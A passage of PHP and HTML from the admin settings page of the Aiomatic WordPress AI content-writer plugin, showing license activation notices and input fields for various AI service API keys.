from the above switch.', 'aiomatic-automatic-ai-content-writer') . '</div>';}?> <table class="widefat"> <?php if($is_activated === true) { ?> <tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Plugin Registration Info - Automatic Updates Enabled:', 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <td colspan="2"> <ul> <li><b><?php echo esc_html__("Item Name:", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html($uoptions['item_name']);?></li> <li> <b><?php echo esc_html__("Item ID:", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html($uoptions['item_id']);?> </li> <li> <b><?php echo esc_html__("Created At:", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html($uoptions['created_at']);?> </li> <li> <b><?php echo esc_html__("Buyer Name:", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html($uoptions['buyer']);?> </li> <li> <b><?php echo esc_html__("License Type:", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html($uoptions['licence']);?> </li> <li> <b><?php echo esc_html__("Supported Until:", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html($uoptions['supported_until']);?> <?php $supported = strtotime($uoptions['supported_until']); if($supported !== false && $supported < time()) { ?> <div class="notice notice-error is-dismissible"> <p> <?php echo sprintf( wp_kses( __( 'Your support for Aiomatic has expired. Please <a href="%s" target="_blank">renew it</a> to continue receiving support for the plugin. After you renewed support, please click the "Revoke License" button, from the plugin\'s "Settings" menu -> "Plugin Activation" tab and add your license key again, to activate the plugin with the renewed support license.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), '//codecanyon.net/item/aiomatic-automatic-ai-content-writer/38877369/support');?> </p> </div> <?php } ?> </li> <li> <input type="button" onclick="unsaved = false;" class="button button-primary" id="<?php echo esc_html($plugin_slug);?>_revoke_license" value="<?php echo esc_html__("Revoke License", 'aiomatic-automatic-ai-content-writer');?>"> <input type="hidden" id="<?php echo esc_html($plugin_slug);?>_activation_nonce" value="<?php echo wp_create_nonce('activation-secret-nonce');?>"> </li> </ul> <?php } elseif($is_activated === -1) { ?> <tr> <td colspan="2"> <div><p class="cr_red"><?php echo esc_html__("You are using a PIRATED version of the plugin! Because of this, the main functionality of the plugin is not available. Please revoke your license and activate a genuine license for the Aiomatic plugin. Note that the only place where you can get a valid license for the plugin is found here (if you find the plugin for sale also on other websites, do not buy, they are selling pirated copies): ", 'aiomatic-automatic-ai-content-writer');?><a href="https://1.envato.market/aiomatic" target="_blank"><?php echo esc_html__("Aiomatic on CodeCanyon", 'aiomatic-automatic-ai-content-writer');?></a></p></div> </td> </tr> <tr> <td colspan="2"> <input type="button" onclick="unsaved = false;" class="button button-primary" id="<?php echo esc_html($plugin_slug);?>_revoke_license" value="<?php echo esc_html__("Revoke License", 'aiomatic-automatic-ai-content-writer');?>"> <input type="hidden" id="<?php echo esc_html($plugin_slug);?>_activation_nonce" value="<?php echo wp_create_nonce('activation-secret-nonce');?>"> </td> </tr> <?php } elseif($is_activated === 2) { ?> <tr> <td colspan="2"> <p class="cr_red"><?php echo esc_html__("This is a demo version of the Aiomatic plugin, it has limited functionality in some cases. In the demo mode, the plugin does not need purchase code activation. To use it also on your site, you can purchase a license for it from here: ", 'aiomatic-automatic-ai-content-writer');?><a href="https://1.envato.market/aiomatic" target="_blank"><?php echo esc_html__("Aiomatic on CodeCanyon", 'aiomatic-automatic-ai-content-writer');?></a></p> </td> </tr> <?php } else { ?> <tr> <td colspan="2"> <div class="notice notice-error is-dismissible"><p><?php echo esc_html__("The Aiomatic plugin is not activated, its functionality is disabled. Please activate the plugin from below!", 'aiomatic-automatic-ai-content-writer');?></p></div> </td> </tr> <tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Plugin Activation:', 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( 'Please input your Envato purchase code, to enable automatic updates in the plugin. To get your purchase code, please follow <a href="%s" target="_blank">this tutorial</a>. Info submitted to the registration server consists of: purchase code, site URL, site name, admin email. All these data will be used strictly for registration purposes.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), '//coderevolution.ro/knowledge-base/faq/how-do-i-find-my-items-purchase-code-for-plugin-license-activation/' ); ?> </div> </div> <b><?php echo esc_html__("Aiomatic Purchase Code:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><input type="text" id="<?php echo esc_html($plugin_slug);?>_register_code" value="" placeholder="<?php echo esc_html__("Envato Purchase Code", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"></td> </tr> <tr> <td></td> <td><input type="button" id="<?php echo esc_html($plugin_slug);?>_register" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Activate License", 'aiomatic-automatic-ai-content-writer');?>"/> <input type="hidden" id="<?php echo esc_html($plugin_slug);?>_activation_nonce" value="<?php echo wp_create_nonce('activation-secret-nonce');?>"> <?php } ?> </td> </tr> <tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__('Tips and tricks:', 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <ul> <li><?php echo sprintf( wp_kses( __( 'Need help configuring this plugin? Please check out it\'s <a href="%s" target="_blank">video tutorial</a>.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://www.youtube.com/watch?v=ou3ATnTANJA' );?> </li> <li><?php echo sprintf( wp_kses( __( 'Having issues with the plugin? Please be sure to check out our <a href="%s" target="_blank">knowledge-base</a> before you contact <a href="%s" target="_blank">our support</a>!', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), '//coderevolution.ro/knowledge-base', '//coderevolution.ro/support' );?></li> <li><?php echo sprintf( wp_kses( __( 'Do you enjoy our plugin? Please give it a <a href="%s" target="_blank">rating</a> on CodeCanyon, or check <a href="%s" target="_blank">our website</a> for other cool plugins.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), '//codecanyon.net/downloads', 'https://coderevolution.ro' );?></a></li> </ul> </td> </tr> </table> </div> <div id="tab-2<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('API Key Settings', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'API Keys' menu allows you to manage and configure unique keys essential for integrating and authenticating external AI services with the Aiomatic plugin.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2><?php echo esc_html__("Main AI API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI API service to use to generate content in the plugin using the gpt-3.5/gpt-4 models.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Main API Service Provider Selector:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="api_selector" name="aiomatic_Main_Settings[api_selector]" class="cr_width_full"> <option value="openai"<?php if ($api_selector == "openai") { echo " selected"; } ?>><?php echo esc_html__("OpenAI / AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <option value="azure"<?php if ($api_selector == "azure") { echo " selected"; } ?>><?php echo esc_html__("Microsoft Azure", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="azurehide"> <td colspan="2"> <span class="cr_red">‼  <?php echo sprintf( wp_kses( __( "Check <a href='%s' target='_blank'>this detailed step-by-step tutorial</a> and also <a href='%s' target='_blank'>this tutorial video</a> for info on setup and usage of Microsoft Azure OpenAI API in Aiomatic.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-setup-microsoft-azure-api-in-aiomatic/', 'https://www.youtube.com/watch?v=56ZHp2B4qgY' );?>  ‼</span></td> </tr> <tr class="azurehide aiomatic-title-holder"><td colspan="2"><h2><?php echo esc_html__("Azure API Key Settings", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your API Keys (one per line). For OpenAI API, get your API key <a href='%s' target='_blank'>here</a>. For AiomaticAPI, get your API key <a href='%s' target='_blank'>here</a>. For Azure, get your API key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://platform.openai.com/api-keys', 'https://aiomaticapi.com/pricing/', 'https://portal.azure.com/?microsoft_azure_marketplace_ItemHideKey=microsoft_openai_tip#home' ); ?> </div> </div> <b class="cr_red"><span id="apilinks"><a href='https://platform.openai.com/api-keys' target='_blank'>OpenAI</a> / <a href='https://aiomaticapi.com/api-keys/' target='_blank'>AiomaticAPI</a></span> <?php echo esc_html__("API Keys (One Per Line) - *Required:", 'aiomatic-automatic-ai-content-writer');?></b> <?php $token = ''; $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); if(count($appids) == 1) { $token = $appids[array_rand($appids)]; if(aiomatic_is_aiomaticapi_key($token)) { $call_count = get_transient('aiomaticapi_tokens'); if($token != '' && $call_count !== false) { echo esc_html__("Remaining API Tokens: ", 'aiomatic-automatic-ai-content-writer') . '<b>' . $call_count . '</b>'; } } } ?> </div> </th> <td> <textarea rows="2" id="app_id" onkeyup="keyUpdated();" class="cr_textarea_pass cr_width_full" name="aiomatic_Main_Settings[app_id]" placeholder="<?php echo esc_html__("Please insert your OpenAI/AiomaticAPI API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($app_id); ?></textarea> </td> </tr> <tr class="azurehide"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Azure OpenAI API endpoint. Get one in the <a href='%s' target='_blank'>Microsoft Azure Services panel</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://portal.azure.com/?microsoft_azure_marketplace_ItemHideKey=microsoft_openai_tip#home' ); ?> </div> </div> <b><?php echo esc_html__("Azure OpenAI Endpoint:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="url" class="cr_width_full" autocomplete="off" id="azure_endpoint" name="aiomatic_Main_Settings[azure_endpoint]" placeholder="<?php echo esc_html__("Azure Endpoint", 'aiomatic-automatic-ai-content-writer');?>" value="<?php echo esc_attr($azure_endpoint);?>"> </div> </td> </tr> <tr class="azurehide aiomatic-title-holder"><td colspan="2"><h2><?php echo esc_html__("Azure AI Model Deployments List", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <?php foreach (AIOMATIC_AZURE_MODELS as $model) { ?> <tr class="azurehide"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Azure OpenAI API deployment name for %s model. Create one in the <a href='%s' target='_blank'>Microsoft Azure Services panel</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($model), 'https://portal.azure.com/?microsoft_azure_marketplace_ItemHideKey=microsoft_openai_tip#home' ); ?> </div> </div> <b><?php echo esc_html__("Azure OpenAI Deployment Name For '", 'aiomatic-automatic-ai-content-writer') . $model . "':";?></b> </div> </th> <td> <div> <input type="text" class="cr_width_full" autocomplete="off" id="azure_model_deployments_<?php echo esc_attr($model); ?>" name="aiomatic_Main_Settings[azure_model_deployments][<?php echo esc_attr($model); ?>]" placeholder="<?php echo esc_html__("Azure deployment name for ", 'aiomatic-automatic-ai-content-writer') . $model;?>" value="<?php echo esc_attr( isset($azure_model_deployments[$model]) ? $azure_model_deployments[$model] : '' );?>"> </div> </td> </tr> <?php } ?> <tr class="openhide"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("For users who belong to multiple organizations, you can pass a header to specify which organization is used for an API request. Usage from these API requests will count as usage for the specified organization. This field is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("OpenAI Organization ID (Optional)", 'aiomatic-automatic-ai-content-writer');?>:</b> </div> </th> <td> <div> <input type="text" autocomplete="off" id="openai_organization" placeholder="<?php echo esc_html__("OpenAI Organization ID (optional)", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full" name="aiomatic_Main_Settings[openai_organization]" value="<?php echo esc_html($openai_organization); ?>"/> </div> </td> </tr> <?php if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } ?> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Additional AI API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Adding your Anthropic Claude API key in this settings field, will make the Anthropic Claude models to appear in all model selector boxes from the plugin. To make it work, insert your Anthropic Claude API Keys (one per line). Get your API key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://console.anthropic.com/account/keys' ); ?> </div> </div> <b class="cr_red"><span id="apilinksClaude"><a href='https://console.anthropic.com/account/keys' target='_blank'>Anthropic Claude</a> <?php echo esc_html__("API Keys (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" id="app_id_claude" class="cr_textarea_pass cr_width_full" name="aiomatic_Main_Settings[app_id_claude]" placeholder="<?php echo esc_html__("Please insert your Anthropic Claude API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($app_id_claude); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Adding your Google AI Studio API key in this settings field, will make the Google AI Studio AI models to appear in all model selector boxes from the plugin. To make it work, insert your Google AI Studio AI API Keys (one per line). Get your API key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://aistudio.google.com/app/apikey' ); ?> </div> </div> <b class="cr_red"><span id="apilinksGoogle"><a href='https://aistudio.google.com/app/apikey' target='_blank'>Google AI Studio AI</a> <?php echo esc_html__("API Keys (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" id="app_id_google" class="cr_textarea_pass cr_width_full" name="aiomatic_Main_Settings[app_id_google]" placeholder="<?php echo esc_html__("Please insert your Google AI Studio AI API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($app_id_google); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Adding your Perplexity key in this settings field, will make the Perplexity AI models to appear in all model selector boxes from the plugin. To make it work, insert your Perplexity AI API Keys (one per line). Get your API key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://www.perplexity.ai/settings/api' ); ?> </div> </div> <b class="cr_red"><span id="apilinksPerplexity"><a href='https://www.perplexity.ai/settings/api' target='_blank'>Perplexity AI</a> <?php echo esc_html__("API Keys (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" id="app_id_perplexity" class="cr_textarea_pass cr_width_full" name="aiomatic_Main_Settings[app_id_perplexity]" placeholder="<?php echo esc_html__("Please insert your Perplexity AI API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($app_id_perplexity); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Adding your OpenRouter key in this settings field, will make the OpenRouter AI models to appear in all model selector boxes from the plugin. To make it work, insert your OpenRouter AI API Keys (one per line). Get your API key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://openrouter.ai/keys' ); ?> </div> </div> <b class="cr_red"><span id="apilinksOpenrouter"><a href='https://openrouter.ai/keys' target='_blank'>OpenRouter AI</a> <?php echo esc_html__("API Keys (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" id="app_id_openrouter" class="cr_textarea_pass cr_width_full" name="aiomatic_Main_Settings[app_id_openrouter]" placeholder="<?php echo esc_html__("Please insert your OpenRouter AI API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($app_id_openrouter); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Adding your HuggingFace key in this settings field, will make the HuggingFace AI models to appear in all model selector boxes from the plugin. To make it work, insert your HuggingFace AI API Keys (one per line). Get your API key <a href='%s' target='_blank'>here</a>. After you added your API key, go to the 'Advanced AI Settings' tab and add the list of the HuggingFace models you want to use.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://huggingface.co/settings/tokens' ); ?> </div> </div> <b class="cr_red"><span id="apilinksHuggingFace"><a href='https://huggingface.co/settings/tokens' target='_blank'>HuggingFace AI</a> <?php echo esc_html__("API Keys (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" id="app_id_huggingface" class="cr_textarea_pass cr_width_full" name="aiomatic_Main_Settings[app_id_huggingface]" placeholder="<?php echo esc_html__("Please insert your HuggingFace AI API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($app_id_huggingface); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Add your Ollama Server URL. This can be the local installation of Ollama, from your server. If you are running Ollama locally, the default IP address + port will be http://localhost:11434 - You can download the installation files of Ollama, <a href='%s' target='_blank'>here</a>. Check <a href='%s' target='_blank'>this tutorial video</a> for details on installing Ollama locally. Check <a href='%s' target='_blank'>this other tutorial video</a> for details on installing Ollama remotely on Digital Ocean droplets.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://ollama.com/download', 'https://youtu.be/cRn4feaz0po', 'https://youtu.be/SOOx6TSEh3k' ); ?> </div> </div> <b class="cr_red"><span id="apilinksOllama"><a href='https://ollama.com/download' target='_blank'>Ollama</a> <?php echo esc_html__("Server URL (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> <?php if($ollama_url != '') { $phchecked = get_transient('aiomatic_ollama_check'); if($phchecked === false) { $ollama = aiomatic_testOllama(); if($ollama === 0) { echo '<br/><span class="cr_red12"><b>' . esc_html__('INFO: Ollama not found - please install it and set it up correctly!', 'aiomatic-automatic-ai-content-writer') . '</b> <a href=\'https://ollama.com/\' target=\'_blank\'>' . esc_html__('Download and install Ollama', 'aiomatic-automatic-ai-content-writer') . '</a></span>'; } elseif($ollama === 1) { echo '<br/><span class="cr_green12"><b>' . esc_html__('INFO: Ollama Test Successful', 'aiomatic-automatic-ai-content-writer') . '</b></span>'; set_transient('aiomatic_ollama_check', '1', 2592000); } } else { echo '<br/><span class="cr_green12"><b>' . esc_html__('INFO: Ollama OK', 'aiomatic-automatic-ai-content-writer') . '</b></span><br/><a id="ollamaButton" href="#" onclick="aiomaticRefreshOllama();" class="button">' . esc_html__('Refresh Ollama Model List', 'aiomatic-automatic-ai-content-writer') . '</a>'; } } else { delete_option('aiomatic_ollama_models'); } ?> </div> </th> <td> <div> <textarea rows="2" id="ollama_url" class="cr_textarea_pass cr_width_full" name="aiomatic_Main_Settings[ollama_url]" placeholder="<?php echo esc_html__("Please insert your Ollama Server URL", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($ollama_url); ?></textarea> </div> </td> </tr> <tr> <td colspan="2"> <hr/> </td> </tr> <tr class="multiplehide"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the same API key when creating posts, or do you want to select a new API key for each API request.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use Multiple API Keys When Creating The Same Post:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="multiple_key" name="aiomatic_Main_Settings[multiple_key]"<?php if ($multiple_key == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Alternative AI Image Generator API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Stability.AI API Keys (one per line). For Stability.AI API, get your Stability.AI key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://beta.dreamstudio.ai/membership?tab=apiKeys' ); ?> </div> </div> <b><a href='https://beta.dreamstudio.ai/membership?tab=apiKeys' target='_blank'><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("API Keys (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" class="cr_textarea_pass cr_width_full" autocomplete="off" id="stability_app_id" name="aiomatic_Main_Settings[stability_app_id]" placeholder="<?php echo esc_html__("Please insert your Stability.AI API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($stability_app_id); ?></textarea> </div> </td> </tr><tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your GoAPI API Keys (one per line). This is used to generate Midjourney images. Get your GoAPI key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://dashboard.goapi.ai/key' ); ?> </div> </div> <b><a href='https://dashboard.goapi.ai/key' target='_blank'><?php echo esc_html__("GoAPI.AI (Midjourney)", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("API Keys (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" class="cr_textarea_pass cr_width_full" autocomplete="off" id="midjourney_app_id" name="aiomatic_Main_Settings[midjourney_app_id]" placeholder="<?php echo esc_html__("Please insert your GoAPI API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($midjourney_app_id); ?></textarea> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Rate Limit Prevention Settings", 'aiomatic-automatic-ai-content-writer');?>:</h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Rate Limit Prevention Delay Between API & Scraping Requests. Set the timeout (in milliseconds) between each subsequent API & scraping call. This will allow API call throttling, so the API call quota limit is not reached for your account.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Delay Between API & Scraping Requests (ms):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" id="request_delay" placeholder="<?php echo esc_html__("Input request delay", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[request_delay]" value="<?php echo esc_html($request_delay);?>" class="cr_width_full"/> </div> </td> </tr> <tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Scraping Enhancements Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "If you wish to use the HeadlessBrowserAPI to render JavaScript generated content for your scraped pages, enter your API key here. Get one <a href='%s' target='_blank'>here</a>. If you enter a value here, new options will become available in the 'Use PhantomJs/Puppeteer/Tor To Parse JavaScript On Pages' in importing rule settings.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://headlessbrowserapi.com/pricing/' ); ?> </div> </div> <b><a href="https://headlessbrowserapi.com/" target="_blank"><?php echo esc_html__("HeadlessBrowserAPI Key (Optional)", 'aiomatic-automatic-ai-content-writer');?>:</a></b> <?php $call_count = get_option('headless_calls', false); if($headlessbrowserapi_key != '' && $call_count !== false) { echo esc_html__("Remaining API Calls For Today: ", 'aiomatic-automatic-ai-content-writer') . '<b>' . $call_count . '</b>'; } ?> <div class="cr_float_right bws_help_box bws_help_box_right dashicons cr_align_middle"><img class="cr_align_middle" src="<?php echo plugins_url('../images/new.png', __FILE__);?>" alt="new feature"/> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("New feature added to this plugin: it is able to use HeadlessBrowserAPI to scrape with JavaScript rendered content any website from the internet. Also, the Tor node of the API will be able to scrape .onion sites from the Dark Net!", 'aiomatic-automatic-ai-content-writer');?> </div> </div> </div> </th> <td> <div> <input type="password" autocomplete="off" id="headlessbrowserapi_key" class="cr_width_full" placeholder="<?php echo esc_html__("API key", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[headlessbrowserapi_key]" value="<?php echo esc_html($headlessbrowserapi_key); ?>"/> </div> </td> </tr><tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Embeddings API Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Pinecone API Key. For Pinecone API, get your API key <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://www.pinecone.io/' ); ?> </div> </div> <b><a href='https://www.pinecone.io/' target='_blank'><?php echo esc_html__("Pinecone.io", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" class="cr_textarea_pass cr_width_full" autocomplete="off" id="pinecone_app_id" name="aiomatic_Main_Settings[pinecone_app_id]" placeholder="<?php echo esc_html__("Please insert your Pinecone.io API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($pinecone_app_id); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Qdrant API Key. For Qdrant API, sign up for a Qdrant account <a href='%s' target='_blank'>here</a> and afterwards, get your API key from the 'Data Access Control' Tab from your Qdrant dashboard.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://qdrant.to/cloud' ); ?> </div> </div> <b><a href='https://qdrant.to/cloud' target='_blank'><?php echo esc_html__("Qdrant", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" class="cr_textarea_pass cr_width_full" autocomplete="off" id="qdrant_app_id" name="aiomatic_Main_Settings[qdrant_app_id]" placeholder="<?php echo esc_html__("Please insert your Qdrant API Key", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($qdrant_app_id); ?></textarea> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Text-to-Speech API Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> 